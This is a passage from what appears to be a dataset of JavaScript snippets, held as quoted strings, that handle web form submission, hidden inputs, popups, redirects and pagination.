form.limit_select.options[form.limit_select.selectedIndex].value;\n\tinvisibleForm.show_active.value = form.show_active_select.options[form.show_active_select.selectedIndex].value;\n\tinvisibleForm.show_status.value = form.show_status_select.options[form.show_status_select.selectedIndex].value;\n}", "function showEditarNomina(idNomina){\n\ttop.frames['main'].location=\"../nominas/actualizar_nomina.jsp?id=\"+idNomina; \t\n}", "function submitQueryValues(){\n if(getParameterByName(\"name\")){\n document.getElementById(\"name\").value = getParameterByName(\"name\")\n }\n}", "function goToTaskForm() {\n window.location.href = TASK_CREATOR + '?id=' + projectID;\n}", "function openRepairForm($loadpage) \r\n{\r\n window.open('loadRepairForm.php');\r\n \r\n window.location.href = $loadpage;\r\n}", "function postIframeData(url, iframeName, postData) {\n var $input = $('<input name=\"postData\" type=\"hidden\" />').val(postData);\n var $form = $('<form style=\"position:absolute;top:-1200px;left:-1200px;\" action=\"' + url + '\" method=\"POST\" target=\"'+iframeName+'\"></form>').appendTo(document.body);\n $form.append($input).submit();\n}", "function switchForm(to=0) {\n let viaurl = document.getElementById('new-i-form-viaurl');\n let viaform = document.getElementById('new-i-form-page');\n if (viaurl && viaform) { \n viaurl.style.display = to ? 'none' : '';\n viaform.style.display = to ? '' : 'none';\n }\n}", "function pageMateria(id) {\n document.getElementById(\"materiaId\").value = id;\n document.getElementById(\"page\").submit();\n}", "function SubmissionForm() {\n var urlLink = \"https://docs.google.com/a/noaa.gov/spreadsheet/viewform?usp=drive_web&formkey=dHAycC1MYndJb0hTdGRaYXAzVTVBdWc6MA#gid=0\";\n var Win = open(urlLink, \"SubmissionFormPage\",\"height=800,width=1000,toolbar=no,menubar=no,location=no,scrollbars=yes,resizable=yes\");\n Win.focus();\n }", "function showPage_() {\n var sets = getHtmlFormSettings_();\n var html = HtmlService.createTemplateFromFile('select-page').evaluate().setTitle(sets.formName);\n SpreadsheetApp.getUi().showSidebar(html); \n}", "function postToIframe(jiframe, url, params) {\n var name = jiframe.attr('name');\n var k, f;\n if (!name) { name = 'k' + Math.round(Math.random() * 9999); jiframe.attr('name', name); }\n f = $('<form id=\"jiframeForm\" target=\"' + name + '\" method=\"post\" action=\"' + url + '\"></form>');\n\n for (k in params) { f.append('<input name=\"' + k + '\" value=\"' + params[k] + '\" type=\"hidden\" />'); }\n $('#divflashViewer').append(jiframe);\n $('body').append(f);\n f.submit();\n $('#jiframeForm').remove();\n}", "function showPage(link)\n{\n mainlink = link.substring(1,(link.length-1))\n splitlinks = mainlink.split(\"&\");\n for(i=0;i<(splitlinks.length-1);i++)\n {\n splitvalues = splitlinks[i].split(\"=\");\n if(!storePageDetails(splitvalues[0],splitvalues[1]))\n {\n return;\n }\n }\n document.pagexform.submit(); \n}", "function redirectPageLoadByURL (myform,redirectURL) {\r\n\tif (myform) {\r\n\t setInnerHTMLbyID (\"redirectInstructions\",autoRedirectText,false);\r\n\t\tmyform.sendDataSubmit.style.visibility=\"hidden\"\r\n\t\twindow.setTimeout (\"window.location.replace('\" + encodeURI(redirectURL) + \"');\",750);\r\n\t\twindow.setTimeout (\"myform.sendDataSubmit.style.visibility = 'visible';\",4500);\r\n\t}\r\n}", "function cargarVentana(form, pagina, param) {\r\n\twindow.open(pagina, \"wPrincipal\", \"toolbar=no, menubar=no, location=no, scrollbars=yes, \"+param);\r\n}", "function cargarVentana(form, pagina, param) {\r\n\twindow.open(pagina, \"wPrincipal\", \"toolbar=no, menubar=no, location=no, scrollbars=yes, \"+param);\r\n}", "function redirect(value, page) {\n var form = document.getElementById(\"operation\");\n var input = document.getElementsByName(\"action\");\n \n input[0].value = value;\n form.action = page;\n form.submit();\n}", "function pageOneSubmitPressed() {\r\n window.location.href = \"2nd.html\";\r\n}", "function goToOriginEditPage() {\n $('#location_name').val(window.originRecord.item.object.location_name);\n $('#origin_location_number').val(window.originRecord.item.object.location_number);\n $('#location_address').val(window.originRecord.item.object.address);\n $('#location_city').val(window.originRecord.item.object.city);\n $('#location_state').val(window.originRecord.item.object.state);\n $('#location_zip').val(window.originRecord.item.object.zip);\n $('#location_contact').val(window.originRecord.item.object.contact);\n $('#location_phone').val(window.originRecord.item.object.phone);\n $('#location_email').val(window.originRecord.item.object.email);\n $('#location_cell').val(window.originRecord.item.object.cell);\n $('textarea#location_notes').val(window.originRecord.item.object.location_notes);\n $('#location_id').val(window.originRecord.item.object.id);\n }", "function toDoTaskForm(url, businessType) {\n\twindow.location.href = contextPath + \"/\" + url + '&businessType='\n\t\t\t+ businessType;\n}", "function borrowForm(formId, newAction, newTarget) {\n var form = document.getElementById(formId);\n\n var savedAction = form.action;\n var savedTarget = form.target;\n\n if (newAction != null) form.action = newAction;\n if (newTarget != null) form.target = newTarget;\n\n /*\n * Directly calling submit() does not trigger the onSubmit attribute of a form, so\n * it needs to be called directly before we submit.\n */\n if (form.onsubmit) {form.onsubmit();}\n\n form.submit();\n\n form.action = savedAction;\n form.target = savedTarget;\n}", "function submitPaging(frm,page)\n\t{\n\t\t\n\t\tdocument.frmPaging.pageNo.value = page;\n\t\tdocument.frmPaging.submit();\n\t}", "function storePageDetails(field,value)\n{\n if(field == \"FROM_INDEX\")\n {\n document.pagexform.FROM_INDEX.value = value;\n return true;\n }\n else if(field == \"TO_INDEX\")\n {\n document.pagexform.TO_INDEX.value = value;\n return true; \n }\n else if(field == \"PAGE_NUMBER\")\n {\n document.pagexform.PAGE_NUMBER.value = value;\n return true;\n }\n else\n {\n return false;\n }\n \n}", "function fnCargaDetalle(solicitud, estatus) {\n //alert($('#selectUnidadNegocio').val());\n //$('<form method=\"post\" action=\"solicitud_almacen.php\"> <input type=\"hidden\" name=\"detallesolicitud\" value=\"'+solicitud+'\"></form>').submit();\n var form = document.createElement(\"form\");\n form.setAttribute(\"method\", \"post\");\n form.setAttribute(\"action\", \"solicitudAlmacen.php\");\n form.setAttribute(\"target\", \"_self\");\n\n var hiddenField = document.createElement(\"input\");\n hiddenField.setAttribute(\"type\", \"hidden\");\n hiddenField.setAttribute(\"name\", \"detallesolicitud\");\n hiddenField.setAttribute(\"value\", solicitud);\n form.appendChild(hiddenField);\n\n var hiddenField1 = document.createElement(\"input\");\n hiddenField1.setAttribute(\"type\", \"hidden\");\n hiddenField1.setAttribute(\"name\", \"estatus\");\n hiddenField1.setAttribute(\"value\", estatus);\n form.appendChild(hiddenField1);\n\n var hiddenField2 = document.createElement(\"input\");\n hiddenField2.setAttribute(\"type\", \"hidden\");\n hiddenField2.setAttribute(\"name\", \"ur\");\n hiddenField2.setAttribute(\"value\", $('#selectUnidadNegocio').val());\n form.appendChild(hiddenField2);\n\n document.body.appendChild(form);\n //window.open('', '_self');\n form.submit();\n //window.open(,\"_self\");\n}", "function popupForm(id){\n\t//TODO: apply formData.activityList to activityListHtml\n}", "function openCaseFormManual()\n{\n openCaseForm(document.getElementById('caseIDForm').value);\n}", "function doSubmit() {\r\n\t\t\t// make sure form attrs are set\r\n\t\t\tvar t = $form.attr('target'), a = $form.attr('action');\r\n\r\n\t\t\t// update form attrs in IE friendly way\r\n\t\t\tform.setAttribute('target',id);\r\n\t\t\tif (form.getAttribute('method') != 'POST') {\r\n\t\t\t\tform.setAttribute('method', 'POST');\r\n\t\t\t}\r\n\t\t\tif (form.getAttribute('action') != s.url) {\r\n\t\t\t\tform.setAttribute('action', s.url);\r\n\t\t\t}\r\n\r\n\t\t\t// ie borks in some cases when setting encoding\r\n\t\t\tif (! s.skipEncodingOverride) {\r\n\t\t\t\t$form.attr({\r\n\t\t\t\t\tencoding: 'multipart/form-data',\r\n\t\t\t\t\tenctype: 'multipart/form-data'\r\n\t\t\t\t});\r\n\t\t\t}\r\n\r\n\t\t\t// support timout\r\n\t\t\tif (s.timeout) {\r\n\t\t\t\tsetTimeout(function() { timedOut = true; cb(); }, s.timeout);\r\n\t\t\t}\r\n\r\n\t\t\t// add \"extra\" data to form if provided in options\r\n\t\t\tvar extraInputs = [];\r\n\t\t\ttry {\r\n\t\t\t\tif (s.extraData) {\r\n\t\t\t\t\tfor (var n in s.extraData) {\r\n\t\t\t\t\t\textraInputs.push(\r\n\t\t\t\t\t\t\t$('<input type=\"hidden\" name=\"'+n+'\" value=\"'+s.extraData[n]+'\" />')\r\n\t\t\t\t\t\t\t\t.appendTo(form)[0]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// add iframe to doc and submit the form\r\n\t\t\t\t$io.appendTo('body');\r\n io.attachEvent ? io.attachEvent('onload', cb) : io.addEventListener('load', cb, false);\r\n\t\t\t\tform.submit();\r\n\t\t\t}\r\n\t\t\tfinally {\r\n\t\t\t\t// reset attrs and remove \"extra\" input elements\r\n\t\t\t\tform.setAttribute('action',a);\r\n\t\t\t\tif(t) {\r\n\t\t\t\t\tform.setAttribute('target', t);\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$form.removeAttr('target');\r\n\t\t\t\t}\r\n\t\t\t\t$(extraInputs).remove();\r\n\t\t\t}\r\n\t\t}", "function setItemIntoRequest(formName, formElementName, itemElementName) {\r\n thisForm = eval(\"document.\" + formName);\r\n\r\n var newField = document.createElement(\"input\");\r\n newField.type = \"hidden\";\r\n newField.name = itemElementName;\r\n newField.value = formElementName.value;\r\n thisForm.appendChild(newField);\r\n}", "function gotoForm() {\n toggleForm();\n }", "function serveForm(){\n // Create the browser window.\n addWindow = new BrowserWindow({\n width: 800,\n height: 400,\n title: 'Serve Form' // TODO: pass in form name as title\n });\n\n addWindow.loadURL(url.format({\n pathname: path.join(__dirname, '../public/serveForm.html'),\n protocol: 'file:',\n slashes: true\n }));\n}", "function Form_CreateHTMLObject(theObject)\n{\n\t//create a div to store our form\n\tvar theHTML = document.createElement(\"div\");\n\t//FIRST THING TO DO: SET OBJECT REFERENCE\n\ttheObject.HTML = theHTML;\n\ttheHTML.InterpreterObject = theObject;\n\ttheHTML.id = theObject.DataObject.Id;\n\t//load in the body\n\tdocument.body.appendChild(theHTML);\n\n\t//create its html parent\n\ttheObject.HTMLParent = theHTML.appendChild(document.createElement(\"div\"));\n\t//set its styles\n\ttheObject.HTMLParent.style.cssText = \"position:absolute;\";\n\ttheObject.HTMLParent.disabled = false;\n\t//make it unselectable\n\tBrowser_SetSelectable(theObject.HTMLParent, false);\n\t//dont allow dragging on this\n\tBrowser_AddEvent(theObject.HTMLParent, __BROWSER_EVENT_MOUSEDOWN, Browser_CancelBubbleAndMenu);\n\t//listen to scrolling here\n\tBrowser_AddEvent(theObject.HTMLParent, __BROWSER_EVENT_SCROLL, Simulator_OnScroll);\n\n\n\t//set its Basic Properties\n\tBasic_SetBasicProperties(theHTML, theObject);\n\t//ensure that its always enabled\n\ttheHTML.disabled = false;\n\t//top level forms require absolute cropping\n\ttheHTML.style.clipPath = \"polygon(0 0, 100% 0 , 100% 100%, 0 100%)\";\n\ttheHTML.style.clip = \"rect(0px,\" + theHTML.offsetWidth + \"px,\" + theHTML.offsetHeight + \"px,0px)\";\n\ttheHTML.style.overflow = \"hidden\";\n\ttheHTML.style.overflowX = \"hidden\";\n\ttheHTML.style.overflowY = \"hidden\";\n\n\t//create our list of listeners\n\ttheHTML.OnKeyDownListenerIds = [];\n\t//Update our WS Caption\n\tForm_UpdateWSCaption(theHTML, theObject);\n\t//Update our Menu\n\tForm_UpdateMenu(theHTML, theObject);\n\t//update the caption text\n\tForm_UpdateCaption(theHTML, theObject.Properties[__NEMESIS_PROPERTY_CAPTION]);\n\t//update the child area\n\tForm_UpdateChildArea(theHTML, theObject);\n\t//add the form's Interpreter functions\n\ttheHTML.GetHTMLTarget = Form_GetHTMLTarget;\n\ttheHTML.GetUserInputChanges = Form_GetUserInputChanges;\n\ttheHTML.ProcessOnKeyDown = Form_ProcessOnKeyDown;\n\ttheHTML.UpdateProperties = Form_UpdateProperties;\n\t//block all of our events (they will be handled internaly)\n\tBrowser_AddEvent(theHTML, __BROWSER_EVENT_MOUSEDOWN, Browser_CancelBubbleAndMenu);\n\tBrowser_AddEvent(theHTML, __BROWSER_EVENT_CLICK, Browser_CancelBubbleOnly);\n\tBrowser_AddEvent(theHTML, __BROWSER_EVENT_MOUSERIGHT, Browser_CancelBubbleOnly);\n\tBrowser_AddEvent(theHTML, __BROWSER_EVENT_DOUBLECLICK, Browser_CancelBubbleOnly);\n\t//remove from the body\n\tdocument.body.removeChild(theHTML);\n\t//sap doesnt have mdi, so if its a child form its an sap menu\n\tvar sapMenu = false;\n\t//MDI Form? or child form\n\tif (theObject.DataObject.Class == __NEMESIS_CLASS_MDIFORM && !__DESIGNER_CONTROLLER || theHTML.WS_CHILD)\n\t{\n\t\t//this an sap object?\n\t\tswitch (theObject.InterfaceLook)\n\t\t{\n\t\t\tcase __NEMESIS_LOOK_SAP_ENJOY:\n\t\t\tcase __NEMESIS_LOOK_SAP_TRADESHOW:\n\t\t\tcase __NEMESIS_LOOK_SAP_SIGNATURE_DESIGN:\n\t\t\tcase __NEMESIS_LOOK_SAP_SIGNATURE_CORBU:\n\t\t\tcase __NEMESIS_LOOK_SAP_CORBUS:\n\t\t\tcase __NEMESIS_LOOK_SAP_BLUE_CRYSTAL:\n\t\t\t\t//load directly in the object\n\t\t\t\ttheObject.Parent.HTML.appendChild(theHTML);\n\t\t\t\t//this is an sap menu only if its a direct child of a form\n\t\t\t\tsapMenu = theObject.Parent && theObject.Parent.DataObject.Class == __NEMESIS_CLASS_FORM;\n\t\t\t\tbreak;\n\t\t\tcase __NEMESIS_LOOK_SAP_BELIZE:\n\t\t\t\t//this is an sap menu only if its a direct child of a form\n\t\t\t\tsapMenu = theObject.Parent && theObject.Parent.DataObject.Class == __NEMESIS_CLASS_FORM;\n\t\t\t\t//sap menu?\n\t\t\t\tif (sapMenu)\n\t\t\t\t{\n\t\t\t\t\t//load directly in the object\n\t\t\t\t\ttheObject.Parent.HTML.appendChild(theHTML);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//load in the parent\n\t\t\t\t\ttheObject.Parent.AppendChild(theHTML);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t//load in the parent\n\t\t\t\ttheObject.Parent.AppendChild(theHTML);\n\t\t\t\tbreak;\n\t\t}\n\t}\n\telse\n\t{\n\t\t//add directly to the simulator's panel\n\t\t__SIMULATOR.Interpreter.DisplayPanel.appendChild(theHTML);\n\t}\n\t//get enabled state of the form\n\ttheHTML.FORM_ENABLED = Get_Bool(theObject.Properties[__NEMESIS_PROPERTY_ENABLED], true);\n\t//enabled?\n\tif (theHTML.FORM_ENABLED)\n\t{\n\t\t//set the focus on it\n\t\tForm_SetFocus(theHTML);\n\t}\n\telse\n\t{\n\t\t//Updated enabled state to show disabled\n\t\tForm_UpdateEnabled(theHTML, theObject, false);\n\t}\n\t//this an sap menu?\n\tif (sapMenu)\n\t{\n\t\t//update the parent\n\t\tForm_UpdateEnabled(theObject.Parent.HTML, theObject.Parent, theObject.Parent.HTML.FORM_ENABLED);\n\t}\n\t//return the newly created object\n\treturn theHTML;\n}", "function vB_Hidden_Form(script)\n{\n\tthis.action = script;\n\tthis.variables = new Array();\n}", "function doSubmit() {\n\t\t\t// make sure form attrs are set\n\t\t\tvar t = $form.attr('target'), a = $form.attr('action');\n\n\t\t\t// update form attrs in IE friendly way\n\t\t\tform.setAttribute('target',id);\n\t\t\tif (form.getAttribute('method') != 'POST') {\n\t\t\t\tform.setAttribute('method', 'POST');\n\t\t\t}\n\t\t\tif (form.getAttribute('action') != s.url) {\n\t\t\t\tform.setAttribute('action', s.url);\n\t\t\t}\n\n\t\t\t// ie borks in some cases when setting encoding\n\t\t\tif (! s.skipEncodingOverride) {\n\t\t\t\t$form.attr({\n\t\t\t\t\tencoding: 'multipart/form-data',\n\t\t\t\t\tenctype: 'multipart/form-data'\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// support timout\n\t\t\tif (s.timeout) {\n\t\t\t\tsetTimeout(function() { timedOut = true; cb(); }, s.timeout);\n\t\t\t}\n\n\t\t\t// add \"extra\" data to form if provided in options\n\t\t\tvar extraInputs = [];\n\t\t\ttry {\n\t\t\t\tif (s.extraData) {\n\t\t\t\t\tfor (var n in s.extraData) {\n\t\t\t\t\t\textraInputs.push(\n\t\t\t\t\t\t\t$('<input type=\"hidden\" name=\"'+n+'\" value=\"'+s.extraData[n]+'\" />')\n\t\t\t\t\t\t\t\t.appendTo(form)[0]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// add iframe to doc and submit the form\n\t\t\t\t$io.appendTo('body');\n\t\t\t\t$io.data('form-plugin-onload', cb);\n\t\t\t\tform.submit();\n\t\t\t}\n\t\t\tfinally {\n\t\t\t\t// reset attrs and remove \"extra\" input elements\n\t\t\t\tform.setAttribute('action',a);\n\t\t\t\tif(t) {\n\t\t\t\t\tform.setAttribute('target', t);\n\t\t\t\t} else {\n\t\t\t\t\t$form.removeAttr('target');\n\t\t\t\t}\n\t\t\t\t$(extraInputs).remove();\n\t\t\t}\n\t\t}", "function submitForm (myForm, myScript, theDiv){\r\n // alert(\"myForm = \" + myForm + \"\\nmyScript = \" + myScript + \"\\ntheDiv = \" + theDiv);\r\n var myParms = getFormValues(myForm);\r\n var myDiv = document.getElementById(theDiv);\r\n handleForm(myScript, myParms, myDiv);\r\n}", "function doSubmit() {\n\t\t\t// make sure form attrs are set\n\t\t\tvar t = $form.attr('target'), a = $form.attr('action');\n\n\t\t\t// update form attrs in IE friendly way\n\t\t\tform.setAttribute('target',id);\n\t\t\tif (form.getAttribute('method') != 'POST') {\n\t\t\t\tform.setAttribute('method', 'POST');\n\t\t\t}\n\t\t\tif (form.getAttribute('action') != s.url) {\n\t\t\t\tform.setAttribute('action', s.url);\n\t\t\t}\n\n\t\t\t// ie borks in some cases when setting encoding\n\t\t\tif (! s.skipEncodingOverride) {\n\t\t\t\t$form.attr({\n\t\t\t\t\tencoding: 'multipart/form-data',\n\t\t\t\t\tenctype: 'multipart/form-data'\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// support timout\n\t\t\tif (s.timeout) {\n\t\t\t\tsetTimeout(function() { timedOut = true; cb(); }, s.timeout);\n\t\t\t}\n\n\t\t\t// add \"extra\" data to form if provided in options\n\t\t\tvar extraInputs = [];\n\t\t\ttry {\n\t\t\t\tif (s.extraData) {\n\t\t\t\t\tfor (var n in s.extraData) {\n\t\t\t\t\t\textraInputs.push(\n\t\t\t\t\t\t\t$('<input type=\"hidden\" name=\"'+n+'\" value=\"'+s.extraData[n]+'\" />')\n\t\t\t\t\t\t\t\t.appendTo(form)[0]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// add iframe to doc and submit the form\n\t\t\t\t$io.appendTo('body');\n io.attachEvent ? io.attachEvent('onload', cb) : io.addEventListener('load', cb, false);\n\t\t\t\tform.submit();\n\t\t\t}\n\t\t\tfinally {\n\t\t\t\t// reset attrs and remove \"extra\" input elements\n\t\t\t\tform.setAttribute('action',a);\n\t\t\t\tif(t) {\n\t\t\t\t\tform.setAttribute('target', t);\n\t\t\t\t} else {\n\t\t\t\t\t$form.removeAttr('target');\n\t\t\t\t}\n\t\t\t\t$(extraInputs).remove();\n\t\t\t}\n\t\t}", "function setForm(target){\n var form = $(target), targetId = form.attr('id');\n if (!targetId) {\n targetId = $.parser.getObjGUID();\n form.attr('id', targetId);\n }\n form.unbind('.form').bind('submit.form', function(){\n setTimeout(function(){\n var target = $('#targetId')[0];\n ajaxSubmit(target, $.data(target, 'form').options);\n }, 0);\n return false;\n });\n }", "function download(html, name) {\n var form = document.createElement(\"form\");\n form.setAttribute(\"method\", \"post\");\n form.setAttribute(\"action\", \"lib/download.php\");\n form.setAttribute(\"target\", \"Download\");\n\n var input = document.createElement('input');\n input.type = 'hidden';\n input.name = \"code\";\n input.value = html;\n form.appendChild(input);\n\n var input2 = document.createElement('input');\n input2.type = 'hidden';\n input2.name = \"name\";\n input2.value = name;\n form.appendChild(input2);\n\n document.body.appendChild(form);\n window.open(\"lib/download.php\", \"Download\");\n form.submit();\n document.body.removeChild(form);\n}", "function SP_PutLaunchedRef()\n{\n\tif(arguments.length == 2)\n\t{\n\t\tvar sLaunchedNum = SP_GetLaunchedFormNo(arguments[0]);\n\t\tvar oRefField = document.getElementById(arguments[1]);\n\t\tif(SP_Trim(oRefField.value) == \"\" )\n\t\t{\n\t\t\tif(sLaunchedNum != \"\")\n\t\t\t{\n\t\t\t\toRefField.value = sLaunchedNum;\n\t\t\t}\n\t\t}\n\t}\n}", "function toPatientDetail(uid){\n document.getElementById('input_uid').value = uid;\n document.getElementById('patient_detail_form').submit();\n}", "function NavFormSelect(strFormName,strFieldName) {\n intSelected = document[strFormName].elements[strFieldName].options.selectedIndex;\n strURL = document[strFormName].elements[strFieldName].options[intSelected].value;\n document[strFormName].elements[strFieldName].options.selectedIndex = 0;\n if (strURL != \"\") {\n location.href = strURL;\n }\n}", "function move_form(id){\n try{\n build_options('dev_developer_id', JSON.parse(localStorage.getItem(\"developer\")));\n document.getElementById('dev_task_id').value = task_list.tasks[id].task_id;\n document.getElementById('task_developer_id').value = '';\n document.getElementById('moveModal').style.display = \"block\";\n return true;\n }catch(e){\n logMyErrors(e);\n }\n}", "function showForm(URL) {\n btnDescGroup = false;\n btnListContact = false;\n btnDescContact = true;\n //alert(URL);\n $('#FondoForm').fadeIn(500);\n var w_height=$(window).height();\n var w_width=$(window).width();\n var ff_height=$('#FondoFormContent').height();\n var ff_width=$('#FondoFormContent').width();\n $('#FondoFormContent').css({\n \"left\":(w_width-(w_width/2)-(ff_width/2)) + \"px\",\n \"top\":'100px'\n// \"top\":(w_height-(w_height/2)-(ff_height/2)) + \"px\"\n });\n enviaVista(URL, 'FondoFormContent', '');\n}", "function openForm(hiddenFormID) {\n\tvar allFormPopups = document.getElementsByClassName('form-popup');\n\tfor (x = 0; x < allFormPopups.length; x++) {\n\t\tdocument.getElementsByClassName('form-popup')[x].style.display = 'none';\n\t}\n\tdocument.getElementById(hiddenFormID).style.display = 'block';\n}", "function setTarget(form, target) {\n\t\"use strict\";\n\tvar input = form.querySelector('input[name=' + target + ']'),\n\t\tlink = document.querySelector('[data-currClick]');\n\tif (input && link) {\n\t\t// set value of input with name which matches target, to value of link's target attribute (either loginTarget or regoTarget)\n\t\tinput.value = link.hasAttribute('loginTarget') ? link.getAttribute('loginTarget') : link.getAttribute('regoTarget');\n\t}\n}", "function cargarPagina(form, pagina) {\r\n\tform.method=\"POST\";\r\n\tform.action=pagina;\r\n\tform.submit();\r\n}", "function cargarPagina(form, pagina) {\r\n\tform.method=\"POST\";\r\n\tform.action=pagina;\r\n\tform.submit();\r\n}", "function show(id) {\n $('#newPanel').val(id);\n $('form').submit();\n}", "function getPortalOnPage(pageNumber) {\r\n\tget('pageNumberId').value = pageNumber;\r\n\tdocument.forms[\"paginationForm\"].submit();\r\n\r\n}", "function doSelectGo(formName,selectName)\n{\n var objIndex = document.forms[formName].item(selectName).selectedIndex\n parent.location.href = (document.forms[formName].item(selectName).options[objIndex].value);\n}", "function doSubmit() {\n\t\t\t// make sure form attrs are set\n\t\t\tvar t = $form.attr('target'), a = $form.attr('action');\n\n\t\t\t// update form attrs in IE friendly way\n\t\t\tform.setAttribute('target',id);\n\t\t\tif (form.getAttribute('method') != 'POST')\n\t\t\t\tform.setAttribute('method', 'POST');\n\t\t\tif (form.getAttribute('action') != opts.url)\n\t\t\t\tform.setAttribute('action', opts.url);\n\n\t\t\t// ie borks in some cases when setting encoding\n\t\t\tif (! opts.skipEncodingOverride) {\n\t\t\t\t$form.attr({\n\t\t\t\t\tencoding: 'multipart/form-data',\n\t\t\t\t\tenctype: 'multipart/form-data'\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// support timout\n\t\t\tif (opts.timeout)\n\t\t\t\tsetTimeout(function() { timedOut = true; cb(); }, opts.timeout);\n\n\t\t\t// add \"extra\" data to form if provided in options\n\t\t\tvar extraInputs = [];\n\t\t\ttry {\n\t\t\t\tif (opts.extraData)\n\t\t\t\t\tfor (var n in opts.extraData)\n\t\t\t\t\t\textraInputs.push(\n\t\t\t\t\t\t\t$('<input type=\"hidden\" name=\"'+n+'\" value=\"'+opts.extraData[n]+'\" />')\n\t\t\t\t\t\t\t\t.appendTo(form)[0]);\n\n\t\t\t\t// add iframe to doc and submit the form\n\t\t\t\t$io.appendTo('body');\n\t\t\t\t$io.data('form-plugin-onload', cb);\n\t\t\t\tform.submit();\n\t\t\t}\n\t\t\tfinally {\n\t\t\t\t// reset attrs and remove \"extra\" input elements\n\t\t\t\tform.setAttribute('action',a);\n\t\t\t\tt ? form.setAttribute('target', t) : $form.removeAttr('target');\n\t\t\t\t$(extraInputs).remove();\n\t\t\t}\n\t\t}", "function go(id) \n\t\t\t{\n\t\t\t\tdocument.form.fill.value=id;\t\t\t\n\t\t\t}", "function setPerfData(formName) {\r\n thisForm = eval(\"document.\" + formName);\r\n\r\n var newField = document.createElement(\"input\");\r\n newField.type = \"hidden\";\r\n newField.name = \"requestTotalTime\";\r\n newField.value = hiddenFieldStateForm.requestTotalTime.value;\r\n thisForm.appendChild(newField);\r\n //alert('requestTotalTime:' + hiddenFieldStateForm.requestTotalTime.value);\r\n var newField2 = document.createElement(\"input\");\r\n newField2.type = \"hidden\";\r\n newField2.name = \"requestStartTime\";\r\n newField2.value = (new Date()).getTime();\r\n thisForm.appendChild(newField2);\r\n // alert( \"requestTotalTime:\" + newField.value );\r\n // alert( \"requestStartTime:\" + newField2.value );\r\n}", "function go_mov()\r\n{\r\n\tvar theForm = document.frm;\r\n\ttheForm.action = \"LsbServlet?command=admin_product_list\";\r\n\ttheForm.submit();\r\n}", "function newSearch(){\n window.open(engines[currEngine].url+document.getElementById('field').value,\"_self\");\n}", "function send_form_pop( name )\r\n{\r\n\treturn send_form( name , function( data ){ show_pop_box( data ); } );\r\n}", "function pageCurso(id) {\n document.getElementById(\"cursoId\").value = id;\n document.getElementById(\"page\").submit();\n}", "function setHiddenPref(name, value) {\n $.ajax($('#hiddenPrefUrl').val() + \"&name=\" + name + \"&value=\" + value);\n }", "function processForm(formID, pageName, ajaxDivID)\n{\n\t/* do what you want with the form */\n\tvar form = document.getElementById(formID);\n\tvar elements = form.elements;\n\tvar queryString = \"\";\n\t\n\tfor(var i = 0; i < elements.length; i++)\n\t{\n\t\tif(typeof elements[i] != 'undefined' && typeof elements[i].name != 'undefined' && typeof elements[i].value != 'undefined')\n\t\t{\n\t\t\t// Prepare Element Name\n\t\t\tvar elemName = elements[i].name;\n\t\t\t\n\t\t\t// Special Checks for Checkboxes\n\t\t\tif(elements[i].type == \"checkbox\")\n\t\t\t{\n\t\t\t\tif(elements[i].checked == true)\n\t\t\t\t{\n\t\t\t\t\tqueryString = queryString + \"&\" + elemName + \"=on\";\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar elemValue = encodeURIComponent(elements[i].value); // works\n\t\t\t\t\n\t\t\t\tqueryString = queryString + \"&\" + elemName + \"=\" + elemValue;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// Send the Form Data through the ajax processing script:\n\tprocessAjax(pageName, ajaxDivID, queryString);\n\t\n\t// You must return false to prevent the default form behavior\n\treturn false;\n}", "function submitPopupForm(form_obj) {\n var funcaosubmit = '<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\"><script>' +\n 'function submitform(){ document.forms[0].submit(); }</script></head><body>';\n var popup = window.open('about:blank', 'popup', 'titlebar=1,menubar=0,scrollbars=0,status=1,resizable=1,height=167,width=170,top=50,left=50');\n popup.document.writeln('<b>Enviando ...</b><br><br><br><br>');\n popup.document.writeln(funcaosubmit);\n if (isIE()) {\n popup.document.writeln('<form action=\"' + form_obj.action + '\" method=\"POST\">' + form_obj.innerHTML + '</form></body></html>');\n } else {\n popup.document.writeln('</body></html>');\n popup.document.body.appendChild(form_obj.cloneNode(true));\n }\n\n popup.document.close();\n popup.submitform();\n}", "function openFilterLookupWindow(formName, lookupUrl, fieldSelectName, valueElemName) {\n filterLookupValueElem = valueElemName;\n var fieldSelect = document.getElementById(fieldSelectName);\n var field = (typeof fieldSelect.selectedIndex == \"number\") ? fieldSelect.options[fieldSelect.selectedIndex] : fieldSelect;\n if ((formName != null) || (lookupUrl == null)) {\n var reportForm = document.getElementById(formName);\n\n // save state\n var savedFormAction = reportForm.action;\n var savedFormTarget = reportForm.target;\n var savedLookupValue = reportForm.lookup.value;\n\n if (lookupUrl != null) reportForm.action = lookupUrl;\n reportForm.target = 'filter_lookup';\n reportForm.lookup.value = field.value;\n reportForm.submit();\n\n // restore state\n reportForm.action = savedFormAction;\n reportForm.target = savedFormTarget;\n reportForm.lookup.value = savedLookupValue;\n } else {\n var junctionChar = lookupUrl.indexOf('?') >= 0 ? '&' : '?';\n curPopupWindow.location.href = lookupUrl + junctionChar + 'lookup=' + field.value + '&workflow=1';\n }\n}", "function load_iform(strURL, targetDoc)\r\n{\r\n\t//-- add session id \r\n\tif(strURL.indexOf(\"?\")>0)\r\n\t{\r\n\t\tstrURL +=\"&sessid=\" + _swsessionid+\"&swsessionid=\" + _swsessionid;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tstrURL +=\"?sessid=\" + _swsessionid+\"&swsessionid=\" + _swsessionid;\r\n\t}\r\n\r\n\tif(strURL.toLowerCase().indexOf(\"http\")>-1)\r\n\t{\r\n\t\t//-- leave as is\r\n\t}\r\n\telse\r\n\t{\r\n\t\tstrURL = _root + strURL;\r\n\t}\r\n\r\n\tvar sForm = app.create_submit_form(strURL, \"_self\", targetDoc, \"POST\");\r\n\tsForm.submit();\r\n}", "function 